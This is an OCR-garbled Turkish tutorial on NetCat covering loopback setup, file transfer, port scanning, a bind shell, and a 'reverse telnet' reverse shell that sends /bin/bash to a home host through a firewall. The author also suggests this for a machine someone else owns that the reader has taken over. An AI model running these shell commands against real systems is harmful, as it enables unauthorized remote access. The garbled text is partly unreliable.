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Ozet:

Bu yazida Hobbit isimli programci tarafindan yazilmis olan NetCat programi baz alinarak cesitli ag
baglantilari, aktif ve pasif olarak dosya ve bilgi iletisimi {izerine baz1 teknikler anlatilmaktadir.

Giris:

Bu yazida Unix'in efsanevi komutlarindan belki de en gencglerinden birine sistem ydneticilerinin ve
hackerlarin daim dostu NetCat'e basitce deginmeyi amagladim.

Her ne kadar basitce deginecek olsam networkle ilgilenenlerin ise yarar bir seyler bulacaginiza inantyorum
bu yazida. Ozellikler Reverse Telnet birgok download meraklisinin ilgisini ¢ekecektir ;)

Unix'e asina olanlar bilir. Unix'in temelinde yatan MO (Modus Operande; operasyon yontemi) herbiri tek
bir isi milkemmel yapan programciklar: biraraya getirmektir. Zaman zaman Emacs gibi kazalar olsa da :p bu
mantik bu giine kadar belki de Unix'in en gii¢lii oldugu alan olmustur.

Her biri kiigiik kii¢iik programciklar olan basit temel Unix komuila:cat, we, yes, false,
sleep vs. genellikle bir shell ortaminda (sh, bash, tcsh vs.) yonlendirme komutlariyla da biraya
geldiklerinde oldukg¢a basarili igler ortaya koyar.

En basitindenls -al |more dediginizde Is komutunun ¢iktisi takip edebileceginiz gibi sayfa sayfa
karsiniza gelir. Mesela Is komutu bir dizindeki dosyalar1 gosterickenyvc -1 komutu Is komutunun
¢iktisin1 we (wordcount) komutuna gonderek o dizinde kag dosya oldugunu gosterir. Gorliyorsunuz iki
alakasiz komutla Is komutuna yeni fonksionlar kazandirdik.

Birkag kelimelik bu tiir komutlarla yapabileceginiz seylerin ne kadar derine gidebildigini gorseniz sasarsiniz.
Dahasi bir shell ortami gibi yapistirici bir sahte-programlama dili ile birlestirildiginde bu komutlar gercekten
uygulama diizeyinde iglerin altindan kalkabilirler.

Iste bu Unix felsefesinden gelen temel komutlarin hepsi onlarca yildir kullanilmakta ve birgok ihtiyaca cevap
verebilmekte. Bu temel komutlardan biri, herne kadar agabeyleriyle karsilastirildiginda ¢ok geng kalsa da,
yazilim mantig1 ve islevselligi acisindan onlar1 kesinlikle aratmayan birlket@iatt.

Isminden de anlasilacag1 gibi cat komutundan yola ¢ikarak yazilmis bir komut. cat komutu ise Unix'in en
temel komutlarindan biri. Basitge yaptig1 bir dosyay1 alip standart ¢iktiya yonlendirmek. Tabi Unix denince
bu basit taniml1 programla bir ¢ok sey yapabilirsiniz. Bu ¢iktiy1 bir yaziciya yonlendirebileceginiz gibi bir CD
yazictya gonderip CD basabilir (biiyiik ihtimalle bozuk olur ;) ya da ses kartina génderip giirtiltii
dinleyebilirsiniz.

Tabii baska bir programla birlestirip bu sefer s6z konusu dosyay1 ses kartindan insan sesi ile okutturabilir,

dahasi bu ¢ikan sesi audio cd olarak da basabilirsiniz. Ve isin giizel yan1 biitiin bunlar1 yukardaki 6rnek gibi
basit birka¢c komutu birlestirerek yapabilirsiniz.

NetCat, Telnet, Reverse Telnet vs. - KIVILCIM Hindistan Sfi1



Hemen bir 6rnek vermek gerekirse cat'in kuzeni olan zcat'i pratik olarak kullanabiliriz.

Adindan da anlasilabilecegi gibi zcat, cat komutunun zip algoritmasi ile biitlinlestirilmis halidir. Basitce .gz
uzantili dosyalar1 sanki sikistiritlmamaslar gibi ¢iktiya verir.

Eger makinanizda netcat kurulu isaisr/share/doc/netcat/README.gz diye bir dosya
olacaktir biiyiik ihtimalle. Normalde bu bir text dosyasi olsaydi bunu kolayca less README diye
acabilirdik, fakat bu sikistirilmis bir dosya, peki simdi ne yapacagiz. Basit:

zcat README.gz|less

README.gz dosyasini standart ¢iktiya gonder (acip) ve onu da less komutuna ver, sanki bir dosyaymis
gibi.

NetCat de iste bu temel Unix komutunun Network iizerinden TCP ve UDP soketlerle isleyen ve etkilesimli
hali.

Peki ne yapar bu NetCat?

Oncelikle NetCat en basit anlamiyla bir telnet programuidir. Bu biraz Isvigre Cakisi bir bigaktir demeye
benziyor. Temelde hemen her tiirlii telnet ihtiyaci i¢in kullanilan bir telnet programi. 1996'da Hobbit
tarafindan yazilan bu program biitiin Unix varyantlarinda bulunmakla birlikte NT basta olmak iizere diger
Windows platformlarina da aktarilmistir edilmistir. Dahasi1 program gelistirilip ssh baglantisi saglayan
cryptocat de kullanilabilir.

Biz bu yazi i¢inde sade netcat'e bagli kalip 6rneklerimizi onun iistiinde verecegiz. Temel platform olarak
Unix alinmistir eger baska bir platformda bunlar1 denerseniz bilgisayariniz havaya ugabilir, kiz arkadasiniz

sizi terkedebilir ve belki de en kotiisii bir anda kahve bitebilir ;)

Ne yapiyorsaniz kendi riskinize yapiyorsunuz, hi¢bir seyin garantisi yok; bunu hala 6grenemeyenler var o
ylzden her yazida bu satirlar1 yazmak zorundayiz :) Hayatinizi yasayin ve d6grenin...

Dosya Transferi

Bu yaz1 boyunca yapacagimiz islemler i¢in bir 6n hazirlik yapmamiz lazim.

Zira yazi boyunca iki sanal makina arasindaki network baglantisindan s6zedecegiz. Bunu simiile etmek icin
de bazi diizenlemeler yapmamiz gerekiyor. Bu makalede yazanlar1 denemeniz i¢in makinanizin Internet'e
bagli olmasi, hatta ethernet kart1 olmasi bile gerekli degil.

Unix makinalarin tcp iletisim konusunda ethernet aygitlar1 gibi sanal bir aygit olan lo (loopback) aygitlar

bulunmaktadir. Adresi 127.0.0.1 olan bu aygit, makinanin kendisine isaret eder. Linux altinda bunun yerine
0 da kullanabilirsiniz. Iste biz de burada verecegimiz drnekler icin bu aygit1 lo'u kullanacagiz.
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Fakat burda 6nemli nokta 127.0.0.1 adresine sahip lo aygitina miidahale etmememiz gerektigi. Bu adresi
degistirmek bizim normal ag baglantilarimizi bozar. Bunun yerine lo:1 diye ayni aygit listiinden yeni bir
network aygiti tanimlayacagiz. Bu isi ethO veya ethl gibi bir ethernet kart1 iizerinden de yapip bir ethernet
kartina birgok IP numarasi atayabilirdik.

Yapacagimiz islem (tabi ki bunu root olarak yapmamiz lazim)

ifconfig lo:1 10.0.1.1

ifconfig lo:2 10.0.1.2

Simdi ise ifconfig komutu ile baktigimizda sdyle bir seyler gormemiz lazim

lo Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:146 errors:0 dropped:0 overruns:0 frame:0
TX packets:146 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0

RX bytes:7708 (7.5 KiB) TX bytes:7708 (7.5 KiB)

lo:1 Link encap:Local Loopback

inet addr:10.0.1.1 Mask:255.0.0.0

UP LOOPBACK RUNNING MTU:16436 Metric:1

lo:2 Link encap:Local Loopback

inet addr:10.0.1.2 Mask:255.0.0.0

UP LOOPBACK RUNNING MTU:16436 Metric:1

Tamaam artik iki tane network aygitimiz var: lo:1 ve lo:2 bunlarla sanki bagimsiz makinalarmig gibi NetCat
deneyleri yapabilecegiz.

Network Baglantisi

Dedigimiz gibi netcat en basit haliyle bir telnet istemcisi gibi kullanlabilinst port komutu ile
s0zkonusu host makinasina herhangi bir agik porttan baglanildiginda yazdiginiz her sey kars1 tarafa gider,
kars1 tarafin her tepkisi de size gelir. Bu aradaki ag baglantisi kesilene kadar siirer (ki bu davranis, dosya-
sonu (EOF) isareti gelene kadar baglantiy1 agik tutup bu isareti alinca kesen bir¢ok programdan faklidir).
NetCat bir istemci oldugu gibi bir sunucudur da ayni zamanda.

Simdi iki tane konsol agalim: Bir tanesi bizim sunucumuz olacak 5600 nolu portu dinleyecek

netcat -1 -p 5600

Digeri ise istemcimiz olacak ve bu porta baglanacak:

netcat 10.0.1.1 5600
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Su anda ikinci konsolda yazdiginiz hersey ilk konsolda tekrarlanacaktir. Ik baglantimiz1 gergeklestirdik.
Biraz deneyler yapin, entera basin, backspace basin, ctrl-d, ctrl-c yapin neler oldugunu gézlemleyin.

Ctrl-C baglantiniz1 kesmis olsa gerek. Simdi biraz daha farkli bir sey deneyecegiz.
Ik konsolda bu sefer

netcat -1 -p 5600 -vv

yazin. Ikincisindeki komut yine ayn:

nc 10.0.1.1 5600

Bir farklilik gordiiniiz mii?

listening on [any] 5600

10.0.1.1: inverse host lookup failed: Unknown host

connect to [10.0.1.1] from (UNKNOWN) [10.0.1.1] 33354

NetCat bu sefer size bir siirii bilgi verdi. Bunun sebebi kullandigimiz -vv komutu. Bunu tek v ile kullanirsaniz
biraz daha az bilgi alirsiniz, bazi problem ¢6zme durumlarinda ¢ok hayat kurtarici olabilir bu 6zellik.

Bu sefer ctrl-c ile kestigimizde ise NetCat sunucu tarafinda bize ne kadar veri gonderilip ne kadar veri
alindigini belirtir.

Bdylece bir network aygitindan bir digerine protokol, izin vs. derdi olmadan (firewall'lar elverdigince)
baglandik.

Dosya Transferi

NetCat'in en basit 6zelliklerinden biri olan bu 6zellik, biitiin basit seyler gibi akilli bir kullanicinin elinde
hemen her sey icin kullanilabilir.

En pratik yanlarindan biri mesela dosya transferi. Daha yeni kurulmus bir makinaya dosya transferi i¢in ftp
sunucusu kurmak, kullanicilar1 ayarlamak, daha da kotiisti rep/scp gibi protokollerle ugrasmak ¢ok
basagritici olabilir. En basitinden bu komutlar makinada bulunmamaktadir bile vs.

Sadece bir netcat komutu ile bu islemleri yapmamiz miimkdin.

Kullanim hala basit; sunucu tarafinda:
nc -v -w 30 -p 5600 -1 > dosyaismi.back

istemci tarafinda ise:
nc -v -w 2 10.0.1.1 5600 < dosyaismi

Gordiigiiniliz gibi bir taraftan gelen dosyaismi isimli dosya diger tarafta dosyaismi.back seklinde

NetCat, Telnet, Reverse Telnet vs. - KIVILCIM Hindistan Sf:4



olusturuldu. I¢eriklerine bakarsaniz bu iki dosyanin ayni1 oldugunu da gériirsiiniiz. Tabii bu is i¢in bir
fark olmadigin1 gérebilmeniz agisindan herhangi bir ASCII metin dosyasi kullanmanizda fayda var.

Komut satirini inceledigimizde yeni argliman olarak -w komutunu goriiyoruz. -w bize beklememiz
icin gereken siireyi verir. Sunucu tarafinda bunu daha uzun tuttuk zira alici, dolayisiyla bir
gecikmeden etkilenecek taraf orasi. Istemci tarafinda ise 2 sn yeterli geldi. Genelde bu siire telnet
istemcilerinde 3 sn civarindadir, -w 3 kullanirsaniz bu tiir uygulamalarinizda pek sorunla
karsilasmazsiniz.

-v komutunun yapilan islem hakkinda bilgi verdigini zaten anlatmistik. Bir baska énemli nokta da
Unix kullanicilarinin yakindan bildigi > yonlendirme isareti.

Sunucu tarafinda netcat ¢alistirirken > dosyaismi.back dedik, bu komutun ¢iktisin1 > dosyaismi.back
dosyasina génder anlamini tastyordu. Istemcide kullandigimiz < ise, dosyaismi isimli dosyay1
komuta yonlendir anlamindaydi. Yani bunu bir boru olarak diisiiniirsek, bir komutla borunun i¢inden
bilgiyi ¢ekip bir kovaya dolduruyoruz, digeri ile de kovadan bilgiyi boruya bosaltiyoruz. Zaten bu
islemin ismi de "piping" diye geger.

Peki bunu yaptik ama nedense iki tarafta da hataya benzer ¢iktilar aldik.
Sunucu:

10.0.1.1: inverse host lookup failed: Unknown host
connect to [10.0.1.1] from (UNKNOWN) [10.0.1.1] 33368

Istemci:
10.0.1.1: inverse host lookup failed: Unknown host
(UNKNOWN) [10.0.1.1] 5600 (?) open

Bunlar temelde Unix altindaki network komutlarinin kendilerine gelen baglantilarin kaynagini
kontrol etme ¢abasindan kaynaklaniyor. Normalde hepimiz DNS'in yaptigi isi biliriz, gelen bir alan
adin1 bir IP numarasi ile eslestirip geriden gelen paketlere yol gostermek. Buna host lookup denir.
Sunucular ise bunun tam tersini yaparlar, kendilerine gelen IP numarali istemcileri reverse lookup ile
isimlere eslerler. Eger bir ftp/ssh/telnet vs. sunucunuz varsa ve LAN'da olmaniza ragmen her
baglantinizda cevap vermesi bir miktar zaman altyorsa biiyiik ihtimalle bu reverse lookup segenegi
acik demektir.

Burada NetCat'in -n se¢enegini kullanip bu kontrolii devredisi birakacagiz.

nc -v -w 30 -n -p 5600 -1 > dosyaismi.back

ve

nc -v -w 2 -n 10.0.1.1 5600 < dosyaismi

Evet bakin problem yok.

Peki diyelim dosyay1 sikistirip gondermek istiyorsunuz, bdylece aradaki transfer siiresinden
kazanacaksiniz. Ayrica dosyayi sikistirip géndermek de size yetmiyor 6teki tarafta da otomatik

olarak acilsin istiyorsunuz.

sunucu:
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nc -v -w 30 -p 5600 -1 < /dev/null | uncompress -c > dosyaismi.
back

istemci:
compress -c < dosyaismi | nc -v -w 2 10.0.1.1 5600

Burada islemi biraz daha karmasiklagtirmis olsak da hala anlasilabilir sinirlar i¢inde tuttuk. Bir
tarafta compress edilen dosya diger tarafta agiliyor. Burada belki kafanizi karistiracak nokta/dev/
null o da hata mesajlarinin gdziikmemesi igin.

Tamam dosya transferi gergeklestirdik. Yaptigimiz is aslinda bu tiir bir calismada yapilacak iki temel
teknigi bir araya getirmek, sunucu istemci mimarisinde bir baglant1 saglamak. Fakat bu baglanti
sadece bir veri akigini sagliyor, halbuki bizim tercih edecegimiz daha ise yarar bir baglant1 belki bir
telnet sunucusu gibi diger makinada problemsizce komut ¢alistirmamiza izin verecek bir baglanti
olabilirdi.

Bunun i¢in de netcatin -e se¢enegi var.
Konsol 1'de

netcat -1 -p 5600 -e /bin/bash
Konsol2'de ise

nc 10.0.1.1 5600

yazdigimizda artik sanki telnetle ilk makinaya baglanmis ve "shell"e diismiis gibiyiz. Verdigimiz her
komutun ¢iktisin1 Konsol2'de gorecek ve diger makinaya istedigimizi yaptirabilecegiz.

Bu yontemin en 6nemli problemi bize her ne kadar kolay bir erisim sagliyor olsa da ayn1 derecede
ciddi bir giivenlik acigin1 da birlikte getiriyor olmasidir. Port taramasi yapan biri bu ardina kadar
acik gedigi bulursa halimiz ¢ok kotii olabilir. Ama zaten bu tiir bir hizli-pratik baglant1 (sifre bile
sormuyor ;) genelde insanin pek KENDI makinasina yapacag1 bir sey de degil ;)

Reverse Telnet

Fakat hani boyle bir program varken elimizin altinda insan biraz daha yaramaz bir seyler yapmak
istiyor ne bileyim hani bir tarafta bir makina olsa, bu makina dyle kabak gibi orta yerde yer almak
yerine (ige yarar biitlin makinalar gibi) bir firewall arkasinda olsa, disardan erisilebilecek gergek bir
IP'si dahi olmasa. Ama biz buna erissek, login olsak, hatta login olmadan direkt girsek sorgusuz
sualsiz, sonra da istedigimiz emirleri versek bu makinada bu komutlar ¢aligsa, sanki bir telnet
istemcisi gibi... ;)

Nasil eglenceli geldi mi?

Eglenceli oldugu kadar kolay, giivenlik tarafinda da paranoyak bir admin gerektirecek kadar
kapanmasi zor bir nokta bu. Bu tiir bir seyi niye yaparsiniz, isyerindeki makinaniz evdeki makinanin

NetCat, Telnet, Reverse Telnet vs. - KIVILCIM Hindistan Sf:6



100 kat1 bant genisligine sahiptir, gece vakti kimseler yokken download baslatmak istersiniz, veya
s6zkonusu makina bir bagkasinindir siz onu ele gecirmissinizdir, fakat firewall arkasinda oldugundan
dolay1 erisemiyorsunuzdur, bir iginize yaramiyordur.

Oncelikle sunu agikliga kavusturalim, firewall arkasinda, gergek IP'si bile olmayan bir makinaya
telnet yapmak miimkiin degildir ? Ciinkii 6ncelikle bu makinanmn birADRESI YOKTUR.
Cikislarini router lizerinden NAT'la yapiyordur, bu sistem bir tarafa dogru islerken diger tarafa
dogru islememektedir. Dahas1 bir IP'si bile olsa muhtemelen sistem yoneticisi 80 ve 21 gibi ¢cok
popliler ve Internet kullanicilarina yonelik portlar disindaki portlar: kapatmistir ve sizin giizel
hatiriniz i¢in de agmaz.

Eee, ama bunun yapilabilecegini soylemistik. Simdi de diyoruz ki bu sekilde TELNET yapilamaz!
Burda ¢eliski yok, zira yapacagimiz TELNET amaREVERSE TELNET.

Madem biz igerdeki makinaya erisemiyoruz, icerdeki makinanin bizim makinamiza erismesini ve
bizden emir beklemesini saglayacagiz bu kadar basit :)

Karisikliga yol agmamak i¢in s0yle bir senaryo yapalim.

evdeki makinanin ismi "ev"
isteki makinanin ismi "is" olsun

Diyelim ki isteki makinay1 birat job ile agik biraktik. Bu makina saat 10:01 itibariyle:
nc ev.dyndns.org 1400 -e /bin/bash

komutunu ¢alistirmak tizere hazir. Sonra eve gittik, evde saat 10:00 itibariyle

nc -vv -1 -p 1400

komutunu calistirdik.
Bu komut bilgisayarimiza diyor ki 1400 numarali portu dinle.

Saat 10:01 itibariyle isteki makinan da at komutu sayesinde

nc ev.dyndns.org 1400 -e /bin/bash

komutunu ¢alistirdiginda isteki bilgisayar igerden disartya bir port sinirlamasi olmayan firewalldan
nazikge siiziilerek evdeki bilgisayarin kendisini beklemekte olan 1400 numarali portuna baglanir ve

kendisinde (iste) /bin/bash komutunu ¢alistirir.

NetCat'in ¢aligma mantig1 dogrultusunda ev makinasi ig makinasindaki bash komutunun ¢iktilarin
alir, yazdigimiz herseyi de ona girdi olarak gonderir.

Konsoll'de nc -vv -1 -p 1400 calistirtyoruz (bu evdeki makina gibi, dinlemeye aliyoruz
bunu)

Konsol2'denc 10.0.1.1 1400 -e /bin/bash (bu da isteki makina)

Simdi Konsol1'de yazdigimiz her islem aslinda Konsol2'de yapiliyor oldu. Bu daha 6nceki Telnet
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sunucu istemci 6rnegimize benziyor fakat orda ¢alisan bir komut yoktu, burada ise var ve yaptigi is
bir Telnet sunucusu ile neredeyse ayni (sagolsun bash)

Bu yontemin giizel yani ise biitlin pasif baglantilarda oldugu gibi giivenlik ag¢igininin minimum
olmasi. Zira bir baskasinin girebilecegi baglant1 bekleyen bir port yok. Icerdeki makina sizin ona
daha 6nceden verdiginiz IP ile baglanti1 kuruyor, sadece onun ile ve belli bir zamanda. Bu da kolay
kolay miidahale edilebilecek bir sey degil. Tabi baglantinin vanilla text oldugunu gézardi eder,
herhangi bir ssh wrapper kullanmazsak.

Bir dezavantajimiz var sizin firewallunuz disar1 herhangibir porttan ¢ikmaya izin vermiyor olabilir,o
yiizden port olarak 80 ya da 443 gibi bir sey kullanmak gerekebilir.

Bu arada evde dialup kullanicisi oldugumuzu varsayarsak (en kotii ihtimal :p) ev makinasinin ipsinin
degisken olacagin1 gézoniine alip, dynamicdns gibi bir hizmet kullanmakta fayda varhttp:/www.

dyndns.org/

PortScan

Bircok 6zelligi biinyesinde bulunduran NetCat ayn1 zamanda bir port tarayicidir da da.
Cok basit olarak:

nc -v -w5 10.0.1.1 20-250

bize 20 ile 250 arasindaki portlar1 baglanti i¢cin 5 sn bekleyerek taramamizi saglar.
Belli bir porta baglanip ¢iktisini (banner vs. gibi) almak icinse

nc -z -wl0 10.0.0.1.1. 110

komutu ise yarar

Ara (soluklanin biraz)

NetCat gibi kii¢iik olmasina ragmen kullanim1 sonsuz bir program i¢in "Sons6z" sdylemek ¢ok
miimkiin olmasa gerek, o ylizden basitge bir ara ile bu yaziya burada bir virgiil koyuyorum. Daha
sayisiz 0zellik ile sayisiz network gorevini NetCat ile ger¢eklestirmek miimkiin. Bu konuda en giizel
kaynak programin yazari olan Hobbit tarafindan yazilmis olan/usr/share/doc/netcat/
README . gz ve man dosyasi.

Buradaki nagizane giris yazis1 dogrultusunda deneyin ve 6grenin.
Unutmayin temelleri 1yi bildiginiz siirece sadece gokyliizli sinirinizdir.
KIVILCIM Hindistan

a.k.a. Sundance ( e-posta adresim: sundance at fazlamesai.net )

www.fazlamesai.net/sundance/

Bu yaziy1 yazmam icin bagimin etini yiyen arkadasim FZ'e adanmistir
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Dogal olarak dékiimanin bir kopyasi http://fazlamesai.net/makale.php3?sid=1360 adresinde
bulunmaktadir. ;)
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Tiim telif haklar aksi 6zellikle belirtilmedigi siirece sahibine aittir. Belge i¢inde gegen herhangi bir
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